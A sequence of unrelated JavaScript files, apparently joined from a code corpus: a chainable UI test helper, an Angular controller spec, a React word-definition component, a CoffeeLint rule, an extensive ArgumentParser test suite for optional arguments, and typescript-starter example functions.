item.dispatchEvent(event); } else { item.fireEvent("on" + event.eventType, event); } }); return self; }; self.wait = function (timeout) { addASyncContinuation(function (done) { log("Waiting for " + timeout); setTimeout(done, timeout); }); return self; }; self.click = function (selector, data) { return self.triggerEvent(selector, "click"); }; self.triggerEvent = function (selector, eventName, data) { addSyncContinuation(function () { log("clicking!!"); var item = jqFilter(selector); item.trigger(eventName); }); return self; } self.debug = function () { addSyncContinuation(function () { // console.log("Launching a debugger"); // console.log("The current div is ", contextDiv) // DO NOT REMOVE THIS DEBUGGER. It's actually MEANT to be here. debugger; }); return self; } self.finish = function () { runContinuations(continuations); }; self.enterTempContext = function (selector) { addSyncContinuation (function () { oldContext = contextDiv; contextDiv = jqFilter(selector); }) return self; }; self.exitTempContext = function (selector) { addSyncContinuation(function () { contextDiv = oldContext; oldContext = null; }) return self; }; self.assertCSS = function (selector, propName, expected) { addSyncContinuation(function () { var item = jqFilter(selector); if(typeof(propName) == "string") { var found = item.css(propName); compareFoundToExpected(found, expected); } else if(typeof(propName) == "object") { for(var key in propName) { if(propName.hasOwnProperty(key)) { var expectedVal = propName[key]; var found = item.css(key); compareFoundToExpected(found, expectedVal); } } } }); return self; }; self.assertAttrs = function (selector, propName, expected) { addSyncContinuation(function () { var item = jqFilter(selector); if(typeof(propName) == "string") { var found = item.attr(propName); compareFoundToExpected(found, expected); } else if(typeof(propName) == "object") { for(var key in propName) { if(propName.hasOwnProperty(key)) { var expectedVal = propName[key]; var found = item.attr(key); compareFoundToExpected(found, expectedVal); } } } }); return self; }; self.doSync = function (func) { addSyncContinuation(function () { func(contextDiv); }); return self; }; self.doASync = function (func) { addASyncContinuation(function (done) { func(contextDiv, done) }); return self; }; self.assertElementExists = function (selector) { addSyncContinuation(function () { jqFilter(selector); // This will trigger }); } var addSyncContinuation = function (func) { continuations.push(function (done) { func (); done(); }) }; var addASyncContinuation = function (func) { continuations.push(function (done) { func(done); }) }; var funcToValue = function (value, found) { if(typeof(value) === "function") { return value(found); } else { return value; } }; var compareFoundToExpected = function (found, expected) { if(typeof(expected) === "function") { var expectedResult = expected(found, contextDiv) if(expectedResult === true) { return; } else { if(expected(found, contextDiv, self.showError)) { self.showError("Custom check failed"); } } } else { expect(found).toBe(expected); } }; var compareFoundToExpectedWithOp = function(found, expected, op) { if(typeof(expected) === "function") { var expectedResult = expected(found, contextDiv) if(expectedResult === true) { return; } else { if(expected(found, contextDiv, self.showError)) { self.showError("Custom check failed"); } } } else { if(op === '=') { expect(found).toEqual(expected); } else if(op === '<') { expect(found).toBeLessThan(expected); } else if(op === '>') { expect(found).toBeGreaterThan(expected); } else if(op === '~') { expected(found).toBeCloseTo(expected); } } } var runContinuations = function (cList) { if(cList.length == 0) { log("done everything"); doneFunc(); return; } var cont = cList.shift(); cont(function () { runContinuations(cList); }); }; var log = function (msg) { if(console) { if(console.log) { console.log(msg); } } }; self.showError = function (message) { expect("ERROR!!").toBe(message); }; }; var t3 = { start: function (done) { return new TestHelper().start(done); }, between: function (start, end) { return function (val, context, showError) { if(typeof(val) === "string") { val = parseInt(val); } if(typeof(showError) === "function") { showError("Expected " + start + " < " + val + " < " + end + ". But it wasn't so."); } return (start <= val) && (val <= end); } }, approximate: function (point, tolerance) { return t3.between(point - tolerance, point + tolerance); } }; window.t3 = t3; window.TestHelper = TestHelper;
import angular from 'angular'; import module from '../app.module'; describe('Controller: AppController', function() { beforeEach(angular.mock.module(module.name)); beforeEach(angular.mock.module(function($provide) { $provide.service('AppService', function() { }); })); beforeEach(inject(function($rootScope, $componentController) { this.$scope = $rootScope.$new(); this.ctrl = $componentController('app', { // locals $scope: this.$scope, }, { // scope bindings } ); })); it('should be defined', function() { expect(this.ctrl).toBeDefined(); }); });
const React = require('react'); const ReactDOM = require('react-dom'); const request = require('ajax-request'); const DefineDefinition = require('./DefineDefinition'); const RcE = React.createElement; const DefineWord = React.createClass({ displayName: 'DefineWord', getInitialState: function() { return { word: '...', }; }, getInitialProps: function() { return { // userChoosesWord : this.userChoosesWord.bind(this) }; }, componentWillMount: function(){ // this.wordSource(); }, wordSource: function(props){ props = props || this.props; request({ url: 'http://localhost:5411/word', // TODO: make this config! method: 'GET' }, function gotWord(err, res, body) { this.setState({ word: body }); }.bind(this)); }, userChoosesWord: function(e) { console.log( e.target.innerHTML ); this.setState({word: e.target.innerHTML}); }, shouldComponentUpdate(nextProps, nextState){ return this.state.word !== nextState.word; }, componentDidUpdate: function(prevProps,prevState) { }, render: function() { return RcE('div',{ className: 'defyw-word-def', key: 'defyw-word-def' }, [ RcE('p',{ className: 'defyw-word', key: 'defyw-word' }, `WORD: ${this.state.word}`), RcE(DefineDefinition, { className: 'defyw-def-wrapper', key: 'defyw-def-wrapper', word: this.state.word, userChoosesWord: this.userChoosesWord } ), RcE('button',{ className:'defyw-new-word-btn', key: 'defyw-new-word-btn', onClick: this.wordSource }, 'pick a different word' ) ] ); } }); module.exports = DefineWord;
// Generated by CoffeeScript 1.7.1 (function() { var NoEmptyParamList; module.exports = NoEmptyParamList = (function() { function NoEmptyParamList() {} NoEmptyParamList.prototype.rule = { name: 'no_empty_param_list', level: 'ignore', message: 'Empty parameter list is forbidden', description: "This rule prohibits empty parameter lists in function definitions.\n<pre>\n<code># The empty parameter list in here is unnecessary:\nmyFunction = () -&gt;\n\n# We might favor this instead:\nmyFunction = -&gt;\n</code>\n</pre>\nEmpty parameter lists are permitted by default." }; NoEmptyParamList.prototype.tokens = ["PARAM_START"]; NoEmptyParamList.prototype.lintToken = function(token, tokenApi) { var nextType; nextType = tokenApi.peek()[0]; return nextType === 'PARAM_END'; }; return NoEmptyParamList; })(); }).call(this); //# sourceMappingURL=no_empty_param_list.map
/*global describe, it*/ 'use strict'; var assert = require('assert'); var ArgumentParser = require('argcoffee').ArgumentParser; describe('optionals', function () { var parser; var args; it('test options that may or may not be arguments', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ '-x' ], { type: 'float' }); parser.addArgument([ '-3' ], { dest: 'y', type: 'float' }); parser.addArgument([ 'z' ], { nargs: '*' }); args = parser.parseArgs([]); assert.deepEqual(args, { y: null, x: null, z: [] }); args = parser.parseArgs([ '-x', '2.5' ]); assert.deepEqual(args, { y: null, x: 2.5, z: [] }); args = parser.parseArgs([ '-x', '2.5', 'a' ]); assert.deepEqual(args, { y: null, x: 2.5, z: [ 'a' ] }); args = parser.parseArgs([ '-3.5' ]); assert.deepEqual(args, { y: 0.5, x: null, z: [] }); args = parser.parseArgs([ '-3-.5' ]); assert.deepEqual(args, { y: -0.5, x: null, z: [] }); args = parser.parseArgs([ '-3', '.5' ]); assert.deepEqual(args, { y: 0.5, x: null, z: [] }); args = parser.parseArgs([ 'a', '-3.5' ]); assert.deepEqual(args, { y: 0.5, x: null, z: [ 'a' ] }); args = parser.parseArgs([ 'a' ]); assert.deepEqual(args, { y: null, x: null, z: [ 'a' ] }); args = parser.parseArgs([ 'a', '-x', '1' ]); assert.deepEqual(args, { y: null, x: 1, z: [ 'a' ] }); args = parser.parseArgs([ '-x', '1', 'a' ]); assert.deepEqual(args, { y: null, x: 1, z: [ 'a' ] }); args = parser.parseArgs([ '-3', '1', 'a' ]); assert.deepEqual(args, { y: 1, x: null, z: [ 'a' ] }); assert.throws(function () { args = parser.parseArgs([ '-x' ]); }); assert.throws(function () { args = parser.parseArgs([ '-y2.5' ]); }); assert.throws(function () { args = parser.parseArgs([ '-xa' ]); }); assert.throws(function () { args = parser.parseArgs([ '-x', '-a' ]); }); assert.throws(function () { args = parser.parseArgs([ '-x', '-3' ]); }); assert.throws(function () { args = parser.parseArgs([ '-x', '-3.5' ]); }); assert.throws(function () { args = parser.parseArgs([ '-3', '-3.5' ]); }); assert.throws(function () { args = parser.parseArgs([ '-x', '-2.5' ]); }); assert.throws(function () { args = parser.parseArgs([ '-x', '-2.5', 'a' ]); }); assert.throws(function () { args = parser.parseArgs([ '-3', '-.5' ]); }); assert.throws(function () { args = parser.parseArgs([ 'a', 'x', '-1' ]); }); assert.throws(function () { args = parser.parseArgs([ '-x', '-1', 'a' ]); }); assert.throws(function () { args = parser.parseArgs([ '-3', '-1', 'a' ]); }); }); it('test the append action for an Optional', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ '--baz' ], { action: 'append' }); args = parser.parseArgs([]); assert.deepEqual(args, { baz: null }); args = parser.parseArgs([ '--baz', 'a' ]); assert.deepEqual(args, { baz: [ 'a' ] }); args = parser.parseArgs([ '--baz', 'a', '--baz', 'b' ]); assert.deepEqual(args, { baz: [ 'a', 'b' ] }); assert.throws(function () { args = parser.parseArgs([ 'a' ]); }); assert.throws(function () { args = parser.parseArgs([ '--baz' ]); }); assert.throws(function () { args = parser.parseArgs([ 'a', '--baz' ]); }); assert.throws(function () { args = parser.parseArgs([ '--baz', 'a', 'b' ]); }); }); it('test the append_const action for an Optional', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ '-b' ], { action: 'appendConst', const: 'Exception', constant: 'Exception' }); parser.addArgument([ '-c' ], { dest: 'b', action: 'append' }); args = parser.parseArgs([]); assert.deepEqual(args, { b: null }); args = parser.parseArgs([ '-b' ]); assert.deepEqual(args, { b: [ 'Exception' ] }); args = parser.parseArgs([ '-b', '-cx', '-b', '-cyz' ]); assert.deepEqual(args, { b: [ 'Exception', 'x', 'Exception', 'yz' ] }); assert.throws(function () { args = parser.parseArgs([ 'a' ]); }); assert.throws(function () { args = parser.parseArgs([ '-c' ]); }); assert.throws(function () { args = parser.parseArgs([ 'a', '-c' ]); }); assert.throws(function () { args = parser.parseArgs([ '-bx' ]); }); assert.throws(function () { args = parser.parseArgs([ '-b', 'x' ]); }); }); it('test the append_const action for an Optional', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ '-b' ], { default: [ 'X' ], action: 'appendConst', const: 'Exception', defaultValue: [ 'X' ], constant: 'Exception' }); parser.addArgument([ '-c' ], { dest: 'b', action: 'append' }); args = parser.parseArgs([]); assert.deepEqual(args, { b: [ 'X' ] }); args = parser.parseArgs([ '-b' ]); assert.deepEqual(args, { b: [ 'X', 'Exception' ] }); args = parser.parseArgs([ '-b', '-cx', '-b', '-cyz' ]); assert.deepEqual(args, { b: [ 'X', 'Exception', 'x', 'Exception', 'yz' ] }); assert.throws(function () { args = parser.parseArgs([ 'a' ]); }); assert.throws(function () { args = parser.parseArgs([ '-c' ]); }); assert.throws(function () { args = parser.parseArgs([ 'a', '-c' ]); }); assert.throws(function () { args = parser.parseArgs([ '-bx' ]); }); assert.throws(function () { args = parser.parseArgs([ '-b', 'x' ]); }); }); it('test the append action for an Optional', function () { parser = new ArgumentParser({debug: true}); parser.addArgument( [ '--baz' ], { default: [ 'X' ], action: 'append', defaultValue: [ 'X' ] } ); args = parser.parseArgs([]); assert.deepEqual(args, { baz: [ 'X' ] }); args = parser.parseArgs([ '--baz', 'a' ]); assert.deepEqual(args, { baz: [ 'X', 'a' ] }); args = parser.parseArgs([ '--baz', 'a', '--baz', 'b' ]); assert.deepEqual(args, { baz: [ 'X', 'a', 'b' ] }); assert.throws(function () { args = parser.parseArgs([ 'a' ]); }); assert.throws(function () { args = parser.parseArgs([ '--baz' ]); }); assert.throws(function () { args = parser.parseArgs([ 'a', '--baz' ]); }); assert.throws(function () { args = parser.parseArgs([ '--baz', 'a', 'b' ]); }); }); it('test the count action for an Optional', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ '-x' ], { action: 'count' }); args = parser.parseArgs([]); assert.deepEqual(args, { x: null }); args = parser.parseArgs([ '-x' ]); assert.deepEqual(args, { x: 1 }); assert.throws(function () { args = parser.parseArgs([ 'a' ]); }); assert.throws(function () { args = parser.parseArgs([ '-x', 'a' ]); }); assert.throws(function () { args = parser.parseArgs([ '-x', 'b' ]); }); assert.throws(function () { args = parser.parseArgs([ '-x', 'a', '-x', 'b' ]); }); }); it('test the store action for an Optional', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ '-x' ], { action: 'store' }); args = parser.parseArgs([]); assert.deepEqual(args, { x: null }); args = parser.parseArgs([ '-xfoo' ]); assert.deepEqual(args, { x: 'foo' }); assert.throws(function () { args = parser.parseArgs([ 'a' ]); }); assert.throws(function () { args = parser.parseArgs([ 'a', '-x' ]); }); }); it('test the store_const action for an Optional', function () { parser = new ArgumentParser({debug: true}); parser.addArgument( [ '-y' ], { action: 'storeConst', const: 'object', constant: 'object' } ); args = parser.parseArgs([]); assert.deepEqual(args, { y: null }); args = parser.parseArgs([ '-y' ]); assert.deepEqual(args, { y: 'object' }); assert.throws(function () { args = parser.parseArgs([ 'a' ]); }); }); it('test the store_false action for an Optional', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ '-z' ], { action: 'storeFalse' }); args = parser.parseArgs([]); assert.deepEqual(args, { z: true }); args = parser.parseArgs([ '-z' ]); assert.deepEqual(args, { z: false }); assert.throws(function () { args = parser.parseArgs([ 'a' ]); }); assert.throws(function () { args = parser.parseArgs([ '-za' ]); }); assert.throws(function () { args = parser.parseArgs([ '-z', 'a' ]); }); }); it('test the store_true action for an Optional', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ '--apple' ], { action: 'storeTrue' }); args = parser.parseArgs([]); assert.deepEqual(args, { apple: false }); args = parser.parseArgs([ '--apple' ]); assert.deepEqual(args, { apple: true }); assert.throws(function () { args = parser.parseArgs([ 'a' ]); }); assert.throws(function () { args = parser.parseArgs([ '--apple=b' ]); }); assert.throws(function () { args = parser.parseArgs([ '--apple', 'b' ]); }); }); it('test negative number args when almost numeric options are present', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ 'x' ], { nargs: '?' }); parser.addArgument([ '-k4' ], { action: 'storeTrue', dest: 'y' }); args = parser.parseArgs([]); assert.deepEqual(args, { y: false, x: null }); args = parser.parseArgs([ '-2' ]); assert.deepEqual(args, { y: false, x: '-2' }); args = parser.parseArgs([ 'a' ]); assert.deepEqual(args, { y: false, x: 'a' }); args = parser.parseArgs([ '-k4' ]); assert.deepEqual(args, { y: true, x: null }); args = parser.parseArgs([ '-k4', 'a' ]); assert.deepEqual(args, { y: true, x: 'a' }); assert.throws(function () { args = parser.parseArgs([ '-k3' ]); }); }); it('test specifying the choices for an Optional', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ '-f' ], { choices: 'abc' }); parser.addArgument([ '-g' ], { type: 'int', choices: [ 0, 1, 2, 3, 4 ] }); args = parser.parseArgs([]); assert.deepEqual(args, { g: null, f: null }); args = parser.parseArgs([ '-f', 'a' ]); assert.deepEqual(args, { g: null, f: 'a' }); args = parser.parseArgs([ '-f', 'c' ]); assert.deepEqual(args, { g: null, f: 'c' }); args = parser.parseArgs([ '-g', '0' ]); assert.deepEqual(args, { g: 0, f: null }); args = parser.parseArgs([ '-g', '03' ]); assert.deepEqual(args, { g: 3, f: null }); args = parser.parseArgs([ '-fb', '-g4' ]); assert.deepEqual(args, { g: 4, f: 'b' }); assert.throws(function () { args = parser.parseArgs([ 'a' ]); }); assert.throws(function () { args = parser.parseArgs([ '-f', 'd' ]); }); assert.throws(function () { args = parser.parseArgs([ '-fad' ]); }); assert.throws(function () { args = parser.parseArgs([ '-ga' ]); }); assert.throws(function () { args = parser.parseArgs([ '-g', '6' ]); }); }); it('test specifying a default for an Optional', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ '-x' ], {}); parser.addArgument([ '-y' ], { default: 42, defaultValue: 42 }); args = parser.parseArgs([]); assert.deepEqual(args, { y: 42, x: null }); args = parser.parseArgs([ '-xx' ]); assert.deepEqual(args, { y: 42, x: 'x' }); args = parser.parseArgs([ '-yy' ]); assert.deepEqual(args, { y: 'y', x: null }); assert.throws(function () { args = parser.parseArgs([ 'a' ]); }); }); it('test various means of setting destination', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ '--foo-bar' ], {}); parser.addArgument([ '--baz' ], { dest: 'zabbaz' }); args = parser.parseArgs([ '--foo-bar', 'f' ]); assert.deepEqual(args, { zabbaz: null, foo_bar: 'f' }); args = parser.parseArgs([ '--baz', 'g' ]); assert.deepEqual(args, { zabbaz: 'g', foo_bar: null }); args = parser.parseArgs([ '--foo-bar', 'h', '--baz', 'i' ]); assert.deepEqual(args, { zabbaz: 'i', foo_bar: 'h' }); args = parser.parseArgs([ '--baz', 'j', '--foo-bar', 'k' ]); assert.deepEqual(args, { zabbaz: 'j', foo_bar: 'k' }); assert.throws(function () { args = parser.parseArgs([ 'a' ]); }); }); it('test an Optional with a double-dash option string', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ '--foo' ], {}); args = parser.parseArgs([]); assert.deepEqual(args, { foo: null }); args = parser.parseArgs([ '--foo', 'a' ]); assert.deepEqual(args, { foo: 'a' }); args = parser.parseArgs([ '--foo=a' ]); assert.deepEqual(args, { foo: 'a' }); args = parser.parseArgs([ '--foo', '-2.5' ]); assert.deepEqual(args, { foo: '-2.5' }); args = parser.parseArgs([ '--foo=-2.5' ]); assert.deepEqual(args, { foo: '-2.5' }); assert.throws(function () { args = parser.parseArgs([ '--foo' ]); }); assert.throws(function () { args = parser.parseArgs([ '-f' ]); }); assert.throws(function () { args = parser.parseArgs([ '-f', 'a' ]); }); assert.throws(function () { args = parser.parseArgs([ 'a' ]); }); assert.throws(function () { args = parser.parseArgs([ '--foo', '-x' ]); }); assert.throws(function () { args = parser.parseArgs([ '--foo', '--bar' ]); }); }); it('tests partial matching with a double-dash option string', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ '--badger' ], { action: 'storeTrue' }); parser.addArgument([ '--bat' ], {}); args = parser.parseArgs([]); assert.deepEqual(args, { bat: null, badger: false }); args = parser.parseArgs([ '--bat', 'X' ]); assert.deepEqual(args, { bat: 'X', badger: false }); args = parser.parseArgs([ '--bad' ]); assert.deepEqual(args, { bat: null, badger: true }); args = parser.parseArgs([ '--badg' ]); assert.deepEqual(args, { bat: null, badger: true }); args = parser.parseArgs([ '--badge' ]); assert.deepEqual(args, { bat: null, badger: true }); args = parser.parseArgs([ '--badger' ]); assert.deepEqual(args, { bat: null, badger: true }); assert.throws(function () { args = parser.parseArgs([ '--bar' ]); }); assert.throws(function () { args = parser.parseArgs([ '--b' ]); }); assert.throws(function () { args = parser.parseArgs([ '--ba' ]); }); assert.throws(function () { args = parser.parseArgs([ '--b=2' ]); }); assert.throws(function () { args = parser.parseArgs([ '--ba=4' ]); }); assert.throws(function () { args = parser.parseArgs([ '--badge', '5' ]); }); }); it('test an Optional with a short opt string', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ '-1' ], { dest: 'one' }); args = parser.parseArgs([]); assert.deepEqual(args, { one: null }); args = parser.parseArgs([ '-1', 'a' ]); assert.deepEqual(args, { one: 'a' }); args = parser.parseArgs([ '-1a' ]); assert.deepEqual(args, { one: 'a' }); args = parser.parseArgs([ '-1-2' ]); assert.deepEqual(args, { one: '-2' }); assert.throws(function () { args = parser.parseArgs([ '-1' ]); }); assert.throws(function () { args = parser.parseArgs([ 'a' ]); }); assert.throws(function () { args = parser.parseArgs([ '-1', '--foo' ]); }); assert.throws(function () { args = parser.parseArgs([ '-1', '-y' ]); }); assert.throws(function () { args = parser.parseArgs([ '-1', '-1' ]); }); assert.throws(function () { args = parser.parseArgs([ '-1', '-2' ]); }); }); it('test negative number args when numeric options are present', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ 'x' ], { nargs: '?' }); parser.addArgument([ '-4' ], { action: 'storeTrue', dest: 'y' }); args = parser.parseArgs([]); assert.deepEqual(args, { y: false, x: null }); args = parser.parseArgs([ 'a' ]); assert.deepEqual(args, { y: false, x: 'a' }); args = parser.parseArgs([ '-4' ]); assert.deepEqual(args, { y: true, x: null }); args = parser.parseArgs([ '-4', 'a' ]); assert.deepEqual(args, { y: true, x: 'a' }); assert.throws(function () { args = parser.parseArgs([ '-2' ]); }); assert.throws(function () { args = parser.parseArgs([ '-315' ]); }); }); it('tests the an optional action that is required', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ '-x' ], { required: true, type: 'int' }); args = parser.parseArgs([ '-x', '1' ]); assert.deepEqual(args, { x: 1 }); args = parser.parseArgs([ '-x42' ]); assert.deepEqual(args, { x: 42 }); assert.throws(function () { args = parser.parseArgs([ 'a' ]); }); assert.throws(function () { args = parser.parseArgs([]); }); }); it('test a combination of single- and double-dash option strings', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ '-v', '--verbose', '-n', '--noisy' ], { action: 'storeTrue' }); args = parser.parseArgs([]); assert.deepEqual(args, { verbose: false }); args = parser.parseArgs([ '-v' ]); assert.deepEqual(args, { verbose: true }); args = parser.parseArgs([ '--verbose' ]); assert.deepEqual(args, { verbose: true }); args = parser.parseArgs([ '-n' ]); assert.deepEqual(args, { verbose: true }); args = parser.parseArgs([ '--noisy' ]); assert.deepEqual(args, { verbose: true }); assert.throws(function () { args = parser.parseArgs([ '--x', '--verbose' ]); }); assert.throws(function () { args = parser.parseArgs([ '-N' ]); }); assert.throws(function () { args = parser.parseArgs([ 'a' ]); }); assert.throws(function () { args = parser.parseArgs([ '-v', 'x' ]); }); }); it('test an Optional with a single-dash option string', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ '-x' ], {}); args = parser.parseArgs([]); assert.deepEqual(args, { x: null }); args = parser.parseArgs([ '-x', 'a' ]); assert.deepEqual(args, { x: 'a' }); args = parser.parseArgs([ '-xa' ]); assert.deepEqual(args, { x: 'a' }); args = parser.parseArgs([ '-x', '-1' ]); assert.deepEqual(args, { x: '-1' }); args = parser.parseArgs([ '-x-1' ]); assert.deepEqual(args, { x: '-1' }); assert.throws(function () { args = parser.parseArgs([ '-x' ]); }); assert.throws(function () { args = parser.parseArgs([ 'a' ]); }); assert.throws(function () { args = parser.parseArgs([ '--foo' ]); }); assert.throws(function () { args = parser.parseArgs([ '-x', '--foo' ]); }); assert.throws(function () { args = parser.parseArgs([ '-x', '-y' ]); }); }); it('test Optionals that partially match but are not subsets', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ '-foobar' ], {}); parser.addArgument([ '-foorab' ], {}); args = parser.parseArgs([]); assert.deepEqual(args, { foorab: null, foobar: null }); args = parser.parseArgs([ '-foob', 'a' ]); assert.deepEqual(args, { foorab: null, foobar: 'a' }); args = parser.parseArgs([ '-foor', 'a' ]); assert.deepEqual(args, { foorab: 'a', foobar: null }); args = parser.parseArgs([ '-fooba', 'a' ]); assert.deepEqual(args, { foorab: null, foobar: 'a' }); args = parser.parseArgs([ '-foora', 'a' ]); assert.deepEqual(args, { foorab: 'a', foobar: null }); args = parser.parseArgs([ '-foobar', 'a' ]); assert.deepEqual(args, { foorab: null, foobar: 'a' }); args = parser.parseArgs([ '-foorab', 'a' ]); assert.deepEqual(args, { foorab: 'a', foobar: null }); assert.throws(function () { args = parser.parseArgs([ '-f' ]); }); assert.throws(function () { args = parser.parseArgs([ '-f', 'a' ]); }); assert.throws(function () { args = parser.parseArgs([ '-fa' ]); }); assert.throws(function () { args = parser.parseArgs([ '-foa' ]); }); assert.throws(function () { args = parser.parseArgs([ '-foo' ]); }); assert.throws(function () { args = parser.parseArgs([ '-fo' ]); }); assert.throws(function () { args = parser.parseArgs([ '-foo', 'b' ]); }); }); it('test an Optional with a single-dash option string', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ '-x' ], { action: 'storeTrue' }); parser.addArgument([ '-yyy' ], { action: 'storeConst', const: 42, constant: 42 }); parser.addArgument([ '-z' ], {}); args = parser.parseArgs([]); assert.deepEqual(args, { x: false, z: null, yyy: null }); args = parser.parseArgs([ '-x' ]); assert.deepEqual(args, { x: true, z: null, yyy: null }); args = parser.parseArgs([ '-za' ]); assert.deepEqual(args, { x: false, z: 'a', yyy: null }); args = parser.parseArgs([ '-z', 'a' ]); assert.deepEqual(args, { x: false, z: 'a', yyy: null }); args = parser.parseArgs([ '-xza' ]); assert.deepEqual(args, { x: true, z: 'a', yyy: null }); args = parser.parseArgs([ '-xz', 'a' ]); assert.deepEqual(args, { x: true, z: 'a', yyy: null }); args = parser.parseArgs([ '-x', '-za' ]); assert.deepEqual(args, { x: true, z: 'a', yyy: null }); args = parser.parseArgs([ '-x', '-z', 'a' ]); assert.deepEqual(args, { x: true, z: 'a', yyy: null }); args = parser.parseArgs([ '-y' ]); assert.deepEqual(args, { x: false, z: null, yyy: 42 }); args = parser.parseArgs([ '-yyy' ]); assert.deepEqual(args, { x: false, z: null, yyy: 42 }); args = parser.parseArgs([ '-x', '-yyy', '-za' ]); assert.deepEqual(args, { x: true, z: 'a', yyy: 42 }); args = parser.parseArgs([ '-x', '-yyy', '-z', 'a' ]); assert.deepEqual(args, { x: true, z: 'a', yyy: 42 }); assert.throws(function () { args = parser.parseArgs([ 'a' ]); }); assert.throws(function () { args = parser.parseArgs([ '--foo' ]); }); assert.throws(function () { args = parser.parseArgs([ '-xa' ]); }); assert.throws(function () { args = parser.parseArgs([ '-x', '--foo' ]); }); assert.throws(function () { args = parser.parseArgs([ '-x', '-z' ]); }); assert.throws(function () { args = parser.parseArgs([ '-z', '-x' ]); }); assert.throws(function () { args = parser.parseArgs([ '-yx' ]); }); assert.throws(function () { args = parser.parseArgs([ '-yz', 'a' ]); }); assert.throws(function () { args = parser.parseArgs([ '-yyyx' ]); }); assert.throws(function () { args = parser.parseArgs([ '-yyyza' ]); }); assert.throws(function () { args = parser.parseArgs([ '-xyza' ]); }); }); it('test an Optional with a multi-character single-dash option string', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ '-foo' ], {}); args = parser.parseArgs([]); assert.deepEqual(args, { foo: null }); args = parser.parseArgs([ '-foo', 'a' ]); assert.deepEqual(args, { foo: 'a' }); args = parser.parseArgs([ '-foo', '-1' ]); assert.deepEqual(args, { foo: '-1' }); args = parser.parseArgs([ '-fo', 'a' ]); assert.deepEqual(args, { foo: 'a' }); args = parser.parseArgs([ '-f', 'a' ]); assert.deepEqual(args, { foo: 'a' }); assert.throws(function () { args = parser.parseArgs([ '-foo' ]); }); assert.throws(function () { args = parser.parseArgs([ 'a' ]); }); assert.throws(function () { args = parser.parseArgs([ '--foo' ]); }); assert.throws(function () { args = parser.parseArgs([ '-foo', '--foo' ]); }); assert.throws(function () { args = parser.parseArgs([ '-foo', '-y' ]); }); assert.throws(function () { args = parser.parseArgs([ '-fooa' ]); }); }); it('test Optionals where option strings are subsets of each other', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ '-f' ], {}); parser.addArgument([ '-foobar' ], {}); parser.addArgument([ '-foorab' ], {}); args = parser.parseArgs([]); assert.deepEqual(args, { foorab: null, f: null, foobar: null }); args = parser.parseArgs([ '-f', 'a' ]); assert.deepEqual(args, { foorab: null, f: 'a', foobar: null }); args = parser.parseArgs([ '-fa' ]); assert.deepEqual(args, { foorab: null, f: 'a', foobar: null }); args = parser.parseArgs([ '-foa' ]); assert.deepEqual(args, { foorab: null, f: 'oa', foobar: null }); args = parser.parseArgs([ '-fooa' ]); assert.deepEqual(args, { foorab: null, f: 'ooa', foobar: null }); args = parser.parseArgs([ '-foobar', 'a' ]); assert.deepEqual(args, { foorab: null, f: null, foobar: 'a' }); args = parser.parseArgs([ '-foorab', 'a' ]); assert.deepEqual(args, { foorab: 'a', f: null, foobar: null }); assert.throws(function () { args = parser.parseArgs([ '-f' ]); }); assert.throws(function () { args = parser.parseArgs([ '-foo' ]); }); assert.throws(function () { args = parser.parseArgs([ '-fo' ]); }); assert.throws(function () { args = parser.parseArgs([ '-foo', 'b' ]); }); assert.throws(function () { args = parser.parseArgs([ '-foob' ]); }); assert.throws(function () { args = parser.parseArgs([ '-fooba' ]); }); assert.throws(function () { args = parser.parseArgs([ '-foora' ]); }); }); it('test an Optional with single- and double-dash option strings', function () { parser = new ArgumentParser({debug: true}); parser.addArgument([ '-f' ], { action: 'storeTrue' }); parser.addArgument([ '--bar' ], {}); parser.addArgument([ '-baz' ], { action: 'storeConst', const: 42, constant: 42 }); args = parser.parseArgs([]); assert.deepEqual(args, { bar: null, baz: null, f: false }); args = parser.parseArgs([ '-f' ]); assert.deepEqual(args, { bar: null, baz: null, f: true }); args = parser.parseArgs([ '--ba', 'B' ]); assert.deepEqual(args, { bar: 'B', baz: null, f: false }); args = parser.parseArgs([ '-f', '--bar', 'B' ]); assert.deepEqual(args, { bar: 'B', baz: null, f: true }); args = parser.parseArgs([ '-f', '-b' ]); assert.deepEqual(args, { bar: null, baz: 42, f: true }); args = parser.parseArgs([ '-ba', '-f' ]); assert.deepEqual(args, { bar: null, baz: 42, f: true }); assert.throws(function () { args = parser.parseArgs([ '--bar' ]); }); assert.throws(function () { args = parser.parseArgs([ '-fbar' ]); }); assert.throws(function () { args = parser.parseArgs([ '-fbaz' ]); }); assert.throws(function () { args = parser.parseArgs([ '-bazf' ]); }); assert.throws(function () { args = parser.parseArgs([ '-b', 'B' ]); }); assert.throws(function () { args = parser.parseArgs([ 'B' ]); }); }); });
/** * Multiplies a value by 2. (Also a full example of Typedoc's functionality.) * * ### Example (es module) * ```js * import { double } from 'typescript-starter' * console.log(double(4)) * // => 8 * ``` * * ### Example (commonjs) * ```js * var double = require('typescript-starter').double; * console.log(double(4)) * // => 8 * ``` * * @param value Comment describing the `value` parameter. * @returns Comment describing the return type. * @anotherNote Some other value. */ export function double(value) { return value * 2; } /** * Raise the value of the first parameter to the power of the second using the es7 `**` operator. * * ### Example (es module) * ```js * import { power } from 'typescript-starter' * console.log(power(2,3)) * // => 8 * ``` * * ### Example (commonjs) * ```js * var power = require('typescript-starter').power; * console.log(power(2,3)) * // => 8 * ``` */ export function power(base, exponent) { // This is a proposed es7 operator, which should be transpiled by Typescript return base ** exponent; } //# 